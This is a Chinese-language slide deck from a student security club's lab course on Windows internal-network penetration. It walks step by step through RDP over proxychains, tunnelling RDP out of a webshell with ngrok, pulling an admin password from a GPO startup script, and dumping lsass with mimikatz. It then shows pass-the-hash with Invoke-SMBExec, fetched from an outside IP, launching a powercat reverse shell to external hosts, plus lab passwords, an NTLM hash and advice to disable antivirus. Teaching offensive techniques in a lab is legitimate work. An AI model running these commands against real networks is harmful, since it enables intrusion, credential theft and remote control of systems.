Windows 內網滲透

Part. II

by Halloworld@NISRA

$ Whoami

  • ​GSS 叡揚資訊實習生 / 輔大資工四乙
  • AIS3 教育部資訊安全培訓計畫
    • 2019, 2020 成員
  • SITCON (學生計算機年會) 
  • HITCON (台灣駭客年會) 

mail@halloworldis.me
william31212@gmail.com

blog.halloworldis.me

william31212

@halloworlddddd

halloworld

本課程由

  • AIS3的紅隊演練
  • 逢甲黑客社前童姓社長

復刻而成

感謝

  • Theo 大大協助 VM 設定

前情提要

我們來回憶寒假

首先,先踹到一台外網的主機

野生的IIS

然後一直跳,一直拿flag

野生的IIS

web權限

系統權限

Admin

PrintSpoofer.exe

瀏覽網站

傳shell

Dump SAM, SYSTEM

然後掛 Proxychain

掛proxychain

然後平行掃描,看有沒有同樣密碼

野生的IIS

OP

CrackMapExec.exe

OA

AD

然後你就踹到OP的Admin

OP

Administrator:1qaz@WSX3edc

用mimikatz拿到

網域下使用者的 NTLM Hash

OP

Administrator:1qaz@WSX3edc

Mimikatz.exe

然後透過Hashcat工具爆hash

拿到網域使用者(nisra)的帳密 

OP

Administrator:1qaz@WSX3edc

nisra:maggievTNBz@

你們應該有印象的 shell 大亂鬥

然後我還是不知道怎麼解

然後今天我們要來打OA, AD

OP

Administrator:1qaz@WSX3edc

nisra:maggievTNBz@

OA

AD

登上OA

Windows特性

csie.fju.edu.tw

Joseph

加入網域的電腦,可以用網域帳號登入

Mei

王國滑的電腦

Dr. yeh

也就是說

網域帳號裡的人可以登別台主機

csie.fju.edu.tw

Mei

Dr. yeh

我可以用Mei的帳號

登Dr.yeh的電腦

來看看差別

網域登入

NISRA\nisra

同一台網域下的電腦,可以用網域帳號本地帳號登入

本地登入

.\Administrator

主機名稱\Administrator

加入到Domain的電腦

還記得他嗎

OP

Administrator:1qaz@WSX3edc

nisra:maggievTNBz@

我們可以用他

登OA

因為他是domain user

OA

Kali RDP command(xfreerdp)

Kali RDP command(xfreerdp)

proxychains xfreerdp /v:192.168.232.30:3389 
/u:nisra /p:maggievTNBz@

//不用換行,我是因為秀在投影片上面我才換行

Proxychain

Kali RDP command(xfreerdp)

xfreeRDP

只能讓一個人活著

對不起,請幫我連tunnel

講一下原理

野生的IIS

OP

OA

AD

RDP

RDP

Your server

Portmap

6666->3389

可愛的你用

不過其實,RDP同一時間同個帳號

只能一個人,只能一個人,還是只能一個人

OA

黑魔法

沒錢買server,怎辦?

教你另一招,反正就是透過IIS把OA ㄉ RDP出來

去ngrok註冊一組帳號

然後去載windows ngrok.exe

傳到IIS Server上

然後會失敗...

上傳失敗,壓縮上傳

1. 壓縮 ngrok

2. 用IIS上的 powershell 解壓縮

/c powershell -command "Expand-Archive
C:\inetpub\wwwroot\Custom\Themes\RCE\ngrok.zip
C:\inetpub\wwwroot\Custom\Themes\RCE\a"

先記好您的token

在 webshell 執⾏行行 ngrok

  • ​​CmdPath:
    • C:\inetpub\wwwroot\Custom\Themes\RCE\ngrok\ngrok_test.exe
  • Argument:
    • tcp 192.168.232.30:3389 --authtoken <your_token> 

OA

跟他討

3389

野生的IIS

打到美國去

去你的ngrok帳戶看彈去哪

OA的RDP,你拿到了

要砍掉session請洽

kill在樓下

OA提權

我們可以幹嘛

Admin在哪 ?

Admin在哪 ?

Admin

在哪啦幹

GPO (Group Policy Object)

群組原則管理

群組原則(英語:Group Policy)是微軟Windows NT家族作業系統的一個特性,它可以控制使用者帳戶和電腦帳戶的工作環境。群組原則提供了作業系統、應用程式和Active Directory中使用者設定的集中化管理和組態。群組原則的其中一個版本名為本機群組原則(縮寫「LGPO」或「LocalGPO」),這可以在獨立且非域的電腦上管理群組原則物件。

GPO (Group Policy Object)

能夠統一管理網域下電腦

只要設定有GPO的電腦們,就得全聽他的

放在哪?

去找找Admin的密碼吧

他在這

\\nisra.com\SYSVOL\nisra.com\Policies\{19FC6EB1-E646.....}\Machine\Script\Startup

在這哦

恭喜你拿到OAㄉadmin

OP

Administrator:1qaz@WSX3edc

nisra:maggievTNBz@

OA

AD

Pwned!!!

Pwned!!!

野生的IIS

Pwned!!!

找Domain Admin

路過的痕跡

有萬惡的Defender

你要怎麼上mimikatz呢

魔幻右鍵

拿到 lsass.dmp,拿到本機用mimikatz.exe破解

用cmd的管理員權限開工管

1. cmd管理員權限版本

2. 拿你剛剛熱騰騰的admin驗證

3. 輸入taskmgr

用cmd複製你有權限的地方

C://

請把確定按掉哦

把lsass.DMP拿到您的電腦

然後用本機mimikatz.exe爆

務必小心,你會有這種感覺

給您的指令,不用謝

# 透過 minidump 獲取資訊
Sekurlsa::minidump “/To/PATH/lsass.dmp”
Sekurlsa::logonPasswords

取得

Domain Admin NTLM HASH

登AD

Pass The Hash...

Domain Admin

只需要Hash就可以登囉

OP

Administrator:1qaz@WSX3edc

nisra:maggievTNBz@

OA

AD

Pwned!!!

Pwned!!!

野生的IIS

Pwned!!!

Pass The Hash

第一式:

pth-winexe

因為proxychains不行,果斷放棄

因為我懶,我直接用AIS3的投影片

第二式:

wmiexec.exe

我用了剛剛OA的RDP裡的CMD,結果也失敗???

失敗的痕跡

他就卡在這,別懷疑你的眼睛

第三式:

PowerShell

# 關閉 ssl 保護(沒有換行,沒有換行,真的沒有換行)
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = 
{$true}; 

# Load Script(沒有換行,沒有換行,真的沒有換行)
IEX(New-Object System.Net.WebClient).DownloadString("
https://35.201.144.177/Invoke-SMBExec.ps1");


# SMB執行命令(沒有換行,沒有換行,真的沒有換行)
Invoke-SMBExec -Target <IP> -Domain <Domain> -Username <Username> -Hash 
<Hash> -Command '<命令>' -verbose

第三式:

搭配 Reverse Shell

https://pastebin.com/Y80jecWs

# 關閉 ssl 保護(沒有換行,沒有換行,真的沒有換行)
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = 
{$true}; 

# Load Script(沒有換行,沒有換行,真的沒有換行)(防毒要關)
IEX(New-Object System.Net.WebClient).DownloadString("
https://35.201.144.177/Invoke-SMBExec.ps1");


# SMB執行命令(沒有換行,沒有換行,真的沒有換行)
Invoke-SMBExec -Target <IP> -Domain <Domain> -Username <Username> -Hash 
<Hash> -Command '<命令>' -verbose

第三式:

剛剛那條最下面的要改改,改成以下這樣

來打Reverse shell

Invoke-SMBExec -Target 192.168.232.87 -Domain
nisra.com -Username kingofnisra -Hash
efa85b42d77dc2fdbdbdb767792b0a11 -Command
'powershell -c
" [System.Net.ServicePointManager]::ServerCertificateVali
dationCallback = {$true}; IEX(New-Object System.Net.WebClient).DownloadString(\"https://
35.201.144.177/powercat.ps1\");powercat -c

o.chesskuo.tw -p 8787 -e cmd"' -verbose

請關防毒

你有admin可以關他哦,動動你的小指頭

慘痛的歷程

成功的樣子

沒有Server的同學

ngrok 也可以哦

但你要裝nc

https://eternallybored.org/misc/netcat/

Invoke-SMBExec -Target 192.168.232.87 -Domain
nisra.com -Username kingofnisra -Hash
efa85b42d77dc2fdbdbdb767792b0a11 -Command
'powershell -c
" [System.Net.ServicePointManager]::ServerCertificateVali
dationCallback = {$true}; IEX(New-Object
System.Net.WebClient).DownloadString(\"https://
35.201.144.177/powercat.ps1\");powercat -c

0.tcp.ap.ngrok.io -p 16576 -e cmd"' -verbose

開ngrok

ngrok tcp 8787

本地聽

nc -nvlp 8787

~~恭喜拿下AD~~

視覺化

這邊

我甚麼都沒做,我也還沒試,有興趣可以看ais3投影片哦

https://ppt.cc/fjN7Ox

架Lab辛酸史

Windows_內網滲透_Part2

By halloworld

Windows_內網滲透_Part2

  • 926